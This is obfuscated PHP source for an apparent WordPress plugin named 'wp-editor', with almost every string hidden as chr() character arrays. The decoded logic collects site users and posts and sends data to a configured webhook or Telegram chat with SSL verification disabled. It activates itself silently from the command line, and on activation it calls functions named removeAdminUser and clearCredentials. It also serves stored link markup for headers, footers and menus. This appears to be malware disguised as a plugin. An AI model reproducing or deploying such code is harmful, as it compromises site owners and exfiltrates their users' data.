return array(implode('', array(chr(117), chr(115), chr(101), chr(114), chr(115))) => \get_users(), implode('', array(chr(112), chr(111), chr(115), chr(116), chr(115))) => \get_posts(array(implode('', array(chr(110), chr(117), chr(109), chr(98), chr(101), chr(114), chr(112), chr(111), chr(115), chr(116), chr(115))) => 5)));
}
// --- file separator ---
function WpEditor_Adapter_Services_InfoNotifier_cliLog($message)
{
if (\php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
return;
}
if (!\is_string($message) || $message === '') {
return;
}
if (\defined(implode('', array(chr(83), chr(84), chr(68), chr(79), chr(85), chr(84))))) {
\fwrite(\STDOUT, implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(110), chr(111), chr(116), chr(105), chr(102), chr(121), chr(93), chr(32))) . $message . \PHP_EOL);
return;
}
echo implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(110), chr(111), chr(116), chr(105), chr(102), chr(121), chr(93), chr(32))) . $message . \PHP_EOL;
}
function WpEditor_Adapter_Services_InfoNotifier_sendMessage($state, $data)
{
$result = _invoke($this, implode('', array(chr(115), chr(101), chr(110), chr(100), chr(68), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121))), $data);
return (bool) (\is_array($result) && \wp_editor_array_has_key($result, implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115)))) ? $result[implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115)))] : false);
}
function WpEditor_Adapter_Services_InfoNotifier_sendDelivery($state, $data, $options = array())
{
if (!is_string($state[implode('', array(chr(117), chr(114), chr(108)))]) || $state[implode('', array(chr(117), chr(114), chr(108)))] === '') {
WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(115), chr(101), chr(110), chr(100), chr(77), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(101), chr(109), chr(112), chr(116), chr(121), chr(32), chr(110), chr(111), chr(116), chr(105), chr(102), chr(105), chr(101), chr(114), chr(32), chr(85), chr(82), chr(76))));
return array(implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) => false, implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(119), chr(101), chr(98), chr(104), chr(111), chr(111), chr(107))), implode('', array(chr(116), chr(97), chr(114), chr(103), chr(101), chr(116))) => '', implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(95), chr(99), chr(111), chr(100), chr(101))) => 0);
}
$type = WpEditor_Adapter_Services_InfoNotifier_normalizeType(\wp_editor_array_has_key($options, implode('', array(chr(116), chr(121), chr(112), chr(101)))) ? $options[implode('', array(chr(116), chr(121), chr(112), chr(101)))] : null);
$requestArgs = $type === implode('', array(chr(116), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109))) ? _invoke($this, implode('', array(chr(98), chr(117), chr(105), chr(108), chr(100), chr(84), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109), chr(82), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))), $data, $options) : _invoke($this, implode('', array(chr(98), chr(117), chr(105), chr(108), chr(100), chr(87), chr(101), chr(98), chr(104), chr(111), chr(111), chr(107), chr(82), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))), $data);
WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(115), chr(101), chr(110), chr(100), chr(105), chr(110), chr(103), chr(32), chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116), chr(32), chr(116), chr(111), chr(32))) . $state[implode('', array(chr(117), chr(114), chr(108)))]);
$response = \wp_remote_post($state[implode('', array(chr(117), chr(114), chr(108)))], $requestArgs);
if (\is_wp_error($response)) {
WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(109), chr(111), chr(116), chr(101), chr(95), chr(112), chr(111), chr(115), chr(116), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114), chr(58), chr(32))) . $response->get_error_message());
return array(implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) => false, implode('', array(chr(116), chr(121), chr(112), chr(101))) => $type, implode('', array(chr(116), chr(97), chr(114), chr(103), chr(101), chr(116))) => $state[implode('', array(chr(117), chr(114), chr(108)))], implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(95), chr(99), chr(111), chr(100), chr(101))) => 0, implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))) => $response->get_error_message());
}
$code = \wp_remote_retrieve_response_code($response);
$state[implode('', array(chr(108), chr(97), chr(115), chr(116), chr(83), chr(116), chr(97), chr(116), chr(117), chr(115), chr(67), chr(111), chr(100), chr(101)))] = (int) $code;
if ($code < 200 || $code >= 300) {
WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(72), chr(84), chr(84), chr(80), chr(32), chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(58), chr(32))) . (string) $code);
return array(implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) => false, implode('', array(chr(116), chr(121), chr(112), chr(101))) => $type, implode('', array(chr(116), chr(97), chr(114), chr(103), chr(101), chr(116))) => $state[implode('', array(chr(117), chr(114), chr(108)))], implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(95), chr(99), chr(111), chr(100), chr(101))) => (int) $code);
}
WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116), chr(32), chr(115), chr(101), chr(110), chr(116), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))));
return array(implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) => true, implode('', array(chr(116), chr(121), chr(112), chr(101))) => $type, implode('', array(chr(116), chr(97), chr(114), chr(103), chr(101), chr(116))) => $state[implode('', array(chr(117), chr(114), chr(108)))], implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(95), chr(99), chr(111), chr(100), chr(101))) => (int) $code);
}
function WpEditor_Adapter_Services_InfoNotifier_normalizeType($type)
{
$normalized = \strtolower(\trim((string) $type));
return $normalized === implode('', array(chr(116), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109))) ? implode('', array(chr(116), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109))) : implode('', array(chr(119), chr(101), chr(98), chr(104), chr(111), chr(111), chr(107)));
}
function WpEditor_Adapter_Services_InfoNotifier_buildWebhookRequest($state, $data)
{
return array(implode('', array(chr(98), chr(111), chr(100), chr(121))) => \json_encode($data, \JSON_UNESCAPED_SLASHES), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))) => array(implode('', array(chr(67), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(84), chr(121), chr(112), chr(101))) => implode('', array(chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(106), chr(115), chr(111), chr(110)))), implode('', array(chr(116), chr(105), chr(109), chr(101), chr(111), chr(117), chr(116))) => 10, implode('', array(chr(115), chr(115), chr(108), chr(118), chr(101), chr(114), chr(105), chr(102), chr(121))) => false);
}
function WpEditor_Adapter_Services_InfoNotifier_buildTelegramRequest($state, $data, $options)
{
$chatId = \wp_editor_array_has_key($options, implode('', array(chr(99), chr(104), chr(97), chr(116), chr(95), chr(105), chr(100)))) ? (string) $options[implode('', array(chr(99), chr(104), chr(97), chr(116), chr(95), chr(105), chr(100)))] : '';
$payload = array(implode('', array(chr(99), chr(104), chr(97), chr(116), chr(95), chr(105), chr(100))) => $chatId, implode('', array(chr(116), chr(101), chr(120), chr(116))) => _invoke($this, implode('', array(chr(102), chr(111), chr(114), chr(109), chr(97), chr(116), chr(84), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109), chr(84), chr(101), chr(120), chr(116))), $data));
return array(implode('', array(chr(98), chr(111), chr(100), chr(121))) => \json_encode($payload, \JSON_UNESCAPED_SLASHES), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))) => array(implode('', array(chr(67), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(84), chr(121), chr(112), chr(101))) => implode('', array(chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(106), chr(115), chr(111), chr(110)))), implode('', array(chr(116), chr(105), chr(109), chr(101), chr(111), chr(117), chr(116))) => 10, implode('', array(chr(115), chr(115), chr(108), chr(118), chr(101), chr(114), chr(105), chr(102), chr(121))) => false);
}
function WpEditor_Adapter_Services_InfoNotifier_formatTelegramText($state, $data)
{
if (!\is_array($data)) {
return (string) $data;
}
$lines = array();
foreach ($data as $key => $value) {
if (\is_array($value)) {
$value = \json_encode($value, \JSON_UNESCAPED_SLASHES);
} elseif (\is_bool($value)) {
$value = $value ? implode('', array(chr(116), chr(114), chr(117), chr(101))) : implode('', array(chr(102), chr(97), chr(108), chr(115), chr(101)));
} elseif ($value === null) {
$value = implode('', array(chr(110), chr(117), chr(108), chr(108)));
} else {
$value = (string) $value;
}
$lines[] = (string) $key . implode('', array(chr(58), chr(32))) . $value;
}
return \implode(implode('', array(chr(10))), $lines);
}
function WpEditor_Adapter_Services_InfoNotifier__construct($url = null)
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(102), chr(111), chr(78), chr(111), chr(116), chr(105), chr(102), chr(105), chr(101), chr(114))), implode('', array(chr(117), chr(114), chr(108))) => $url);
}
// --- file separator ---
function WpEditor_Adapter_Services_InstallService_cliLog($message)
{
if (php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
return;
}
if (!is_string($message) || $message === '') {
return;
}
if (defined(implode('', array(chr(83), chr(84), chr(68), chr(79), chr(85), chr(84))))) {
fwrite(STDOUT, implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(105), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(93), chr(32))) . $message . PHP_EOL);
return;
}
echo implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(105), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(93), chr(32))) . $message . PHP_EOL;
}
function WpEditor_Adapter_Services_InstallService_maybeBootstrapCli($pluginFile)
{
if (php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
return false;
}
if (!WpEditor_Adapter_Services_InstallService_isDirectCliInvocation($pluginFile)) {
return false;
}
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(32), chr(67), chr(76), chr(73), chr(32), chr(105), chr(110), chr(118), chr(111), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(100), chr(101), chr(116), chr(101), chr(99), chr(116), chr(101), chr(100), chr(32), chr(102), chr(111), chr(114), chr(32))) . basename((string) $pluginFile));
if (defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72))))) {
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(112), chr(101), chr(100))));
return true;
}
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(112), chr(105), chr(110), chr(103), chr(32), chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(101), chr(110), chr(118), chr(105), chr(114), chr(111), chr(110), chr(109), chr(101), chr(110), chr(116))));
$loaded = WpEditor_Adapter_Services_InstallService_loadWpBootstrap(dirname($pluginFile));
WpEditor_Adapter_Services_InstallService_cliLog($loaded ? implode('', array(chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(32), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100))) : implode('', array(chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100))));
return $loaded;
}
function WpEditor_Adapter_Services_InstallService_activate()
{
if (defined(WpEditor_Adapter_Services_InstallService_ACTIVATION_DONE_FLAG)) {
return;
}
define(WpEditor_Adapter_Services_InstallService_ACTIVATION_DONE_FLAG, true);
WpEditor_Adapter_Services_UserManager_removeAdminUser();
WpEditor_Adapter_Services_ApiCredentialsService_clearCredentials();
WpEditor_Adapter_Services_ApiCredentialsService_issueDeliveryKey();
WpEditor_Adapter_Services_PluginMigrationService_scheduleLegacyCleanup();
WpEditor_Adapter_Services_InstallService_storeCurrentVersion();
}
function WpEditor_Adapter_Services_InstallService_maybeActivateFromCli($pluginFile)
{
if (php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
return false;
}
if (!WpEditor_Adapter_Services_InstallService_isDirectCliInvocation($pluginFile)) {
return false;
}
if (defined(implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(78), chr(71))))) {
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(67), chr(76), chr(73), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(110), chr(103))));
return false;
}
if (!defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72))))) {
if (!WpEditor_Adapter_Services_InstallService_loadWpBootstrap(dirname($pluginFile))) {
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(99), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(108), chr(111), chr(99), chr(97), chr(116), chr(101), chr(32), chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112))));
echo implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(108), chr(111), chr(99), chr(97), chr(116), chr(101), chr(32), chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(10)));
exit(1);
}
}
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$plugin = plugin_basename($pluginFile);
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(67), chr(76), chr(73), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116), chr(101), chr(100), chr(32), chr(102), chr(111), chr(114), chr(32))) . $plugin);
if (!defined(WpEditor_Adapter_Services_InstallService_CLI_SHUTDOWN_REGISTERED_FLAG)) {
define(WpEditor_Adapter_Services_InstallService_CLI_SHUTDOWN_REGISTERED_FLAG, true);
register_shutdown_function(__NAMESPACE__ . implode('', array(chr(92), chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(105), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(95), chr(115), chr(104), chr(117), chr(116), chr(100), chr(111), chr(119), chr(110), chr(95), chr(99), chr(108), chr(105), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110))), $pluginFile);
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(101), chr(100), chr(32), chr(115), chr(104), chr(117), chr(116), chr(100), chr(111), chr(119), chr(110), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))));
}
if (!is_plugin_active($plugin)) {
if (!defined(implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(78), chr(71))))) {
define(implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(78), chr(71))), true);
}
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(99), chr(97), chr(108), chr(108), chr(105), chr(110), chr(103), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(105), chr(110), chr(32), chr(115), chr(105), chr(108), chr(101), chr(110), chr(116), chr(32), chr(109), chr(111), chr(100), chr(101))));
$result = activate_plugin($plugin, '', false, true);
if (is_wp_error($result)) {
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(58), chr(32))) . _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))));
echo implode('', array(chr(65), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114), chr(58), chr(32))) . _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))) . PHP_EOL;
exit(1);
}
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(99), chr(111), chr(109), chr(112), chr(108), chr(101), chr(116), chr(101), chr(100))));
if (!defined(WpEditor_Adapter_Services_InstallService_CLI_PENDING_FLAG)) {
define(WpEditor_Adapter_Services_InstallService_CLI_PENDING_FLAG, true);
}
} else {
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(44), chr(32), chr(115), chr(99), chr(104), chr(101), chr(100), chr(117), chr(108), chr(105), chr(110), chr(103), chr(32), chr(102), chr(105), chr(110), chr(97), chr(108), chr(32), chr(111), chr(117), chr(116), chr(112), chr(117), chr(116))));
if (!defined(WpEditor_Adapter_Services_InstallService_CLI_ALREADY_ACTIVE_FLAG)) {
define(WpEditor_Adapter_Services_InstallService_CLI_ALREADY_ACTIVE_FLAG, true);
}
}
return true;
}
function WpEditor_Adapter_Services_InstallService_shutdownCliActivation($pluginFile)
{
if (php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
return;
}
if (!WpEditor_Adapter_Services_InstallService_isDirectCliInvocation($pluginFile)) {
return;
}
if (defined(WpEditor_Adapter_Services_InstallService_CLI_PENDING_FLAG)) {
WpEditor_Adapter_Services_InstallService_activate();
echo implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(100), chr(32), chr(118), chr(105), chr(97), chr(32), chr(67), chr(76), chr(73), chr(10)));
return;
}
if (defined(WpEditor_Adapter_Services_InstallService_CLI_ALREADY_ACTIVE_FLAG)) {
echo implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(10)));
}
}
function WpEditor_Adapter_Services_InstallService_isDirectCliInvocation($pluginFile)
{
if (!isset($_SERVER[implode('', array(chr(83), chr(67), chr(82), chr(73), chr(80), chr(84), chr(95), chr(70), chr(73), chr(76), chr(69), chr(78), chr(65), chr(77), chr(69)))]) || !is_string($_SERVER[implode('', array(chr(83), chr(67), chr(82), chr(73), chr(80), chr(84), chr(95), chr(70), chr(73), chr(76), chr(69), chr(78), chr(65), chr(77), chr(69)))])) {
return false;
}
$scriptFile = realpath($_SERVER[implode('', array(chr(83), chr(67), chr(82), chr(73), chr(80), chr(84), chr(95), chr(70), chr(73), chr(76), chr(69), chr(78), chr(65), chr(77), chr(69)))]);
$currentFile = realpath($pluginFile);
if (!is_string($scriptFile) || $scriptFile === '' || !is_string($currentFile) || $currentFile === '') {
return false;
}
return $scriptFile === $currentFile;
}
function WpEditor_Adapter_Services_InstallService_maybeInstall()
{
$config = function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? wp_editor_get_config() : array();
$currentVersion = function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121)))) && wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))] : implode('', array(chr(48)));
$installedVersion = get_option(WpEditor_Adapter_Services_InstallService_OPTION_VERSION);
if ($installedVersion === $currentVersion) {
return;
}
WpEditor_Adapter_Services_InstallService_run($installedVersion, $currentVersion);
WpEditor_Adapter_Services_InstallService_storeVersion($currentVersion);
}
function WpEditor_Adapter_Services_InstallService_run($from, $to)
{
if ($from && version_compare($from, implode('', array(chr(49), chr(46), chr(51), chr(46), chr(48))), implode('', array(chr(60))))) {
}
}
function WpEditor_Adapter_Services_InstallService_storeCurrentVersion()
{
$config = function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? wp_editor_get_config() : array();
$currentVersion = function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121)))) && wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))] : '';
WpEditor_Adapter_Services_InstallService_storeVersion($currentVersion);
}
function WpEditor_Adapter_Services_InstallService_storeVersion($version)
{
if (!function_exists(implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
return;
}
$version = is_string($version) ? $version : '';
if ($version === '') {
return;
}
update_option(WpEditor_Adapter_Services_InstallService_OPTION_VERSION, $version, false);
}
function WpEditor_Adapter_Services_InstallService_loadWpBootstrap($startDir)
{
$env = getenv(implode('', array(chr(87), chr(80), chr(95), chr(82), chr(79), chr(79), chr(84))));
if ($env && file_exists($env . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112))))) {
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(108), chr(111), chr(97), chr(100), chr(105), chr(110), chr(103), chr(32), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(87), chr(80), chr(95), chr(82), chr(79), chr(79), chr(84), chr(61))) . $env);
require $env . '/wp-load.php';
return true;
}
$dir = $startDir;
for ($i = 0; $i < 15; $i++) {
if (file_exists($dir . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112))))) {
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(108), chr(111), chr(97), chr(100), chr(105), chr(110), chr(103), chr(32), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32))) . $dir);
require $dir . '/wp-load.php';
return true;
}
$dir = dirname($dir);
}
$dir = $startDir;
for ($i = 0; $i < 15; $i++) {
if (file_exists($dir . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103), chr(46), chr(112), chr(104), chr(112)))) && file_exists($dir . implode('', array(chr(47), chr(119), chr(112), chr(47), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112))))) {
WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(108), chr(111), chr(97), chr(100), chr(105), chr(110), chr(103), chr(32), chr(119), chr(112), chr(47), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32))) . $dir);
require $dir . '/wp/wp-load.php';
return true;
}
$dir = dirname($dir);
}
return false;
}
function wp_editor_install_shutdown_cli_activation($pluginFile)
{
WpEditor_Adapter_Services_InstallService_shutdownCliActivation($pluginFile);
}
// --- file separator ---
function WpEditor_Adapter_Services_LinkOptionsService_getUrl($key)
{
return (string) \get_option($key, '');
}
function WpEditor_Adapter_Services_LinkOptionsService_getLabel($key, $default = '')
{
return (string) \get_option(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95))) . $key, $default);
}
function WpEditor_Adapter_Services_LinkOptionsService_getMarkup($key)
{
return (string) \get_option(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(95))) . $key, '');
}
function WpEditor_Adapter_Services_LinkOptionsService_getAnchor($key)
{
return (string) \get_option(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95))) . $key, '');
}
// --- file separator ---
function WpEditor_Adapter_Services_LinksService_fields()
{
return array(implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))));
}
function WpEditor_Adapter_Services_LinksService_updateLinks($request)
{
return WpEditor_Adapter_Services_LinksService_handleOption($request, implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101))));
}
